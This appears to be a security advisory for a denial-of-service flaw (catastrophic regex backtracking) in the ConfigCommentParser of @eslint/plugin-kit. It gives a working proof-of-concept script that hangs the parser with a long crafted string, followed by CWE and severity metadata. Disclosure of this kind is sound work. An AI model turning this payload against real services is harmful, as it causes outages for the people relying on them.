Crafting a very large and well crafted string can increase the CPU usage and crash the program.
const { ConfigCommentParser } = require("@eslint/plugin-kit");
var str = "";
for (var i = 0; i < 1000000; i++) {
str += " ";
}
str += "A";
console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseStringConfig(str, ""));
console.log("end")
// run `npm i @eslint/plugin-kit` and `node attack.js`
// then the program will stuck forever with high CPU usage
{ "nvd_published_at": "2024-11-19T05:15:16Z", "cwe_ids": [ "CWE-1333", "CWE-770" ], "severity": "LOW", "github_reviewed": true, "github_reviewed_at": "2024-11-15T20:47:31Z" }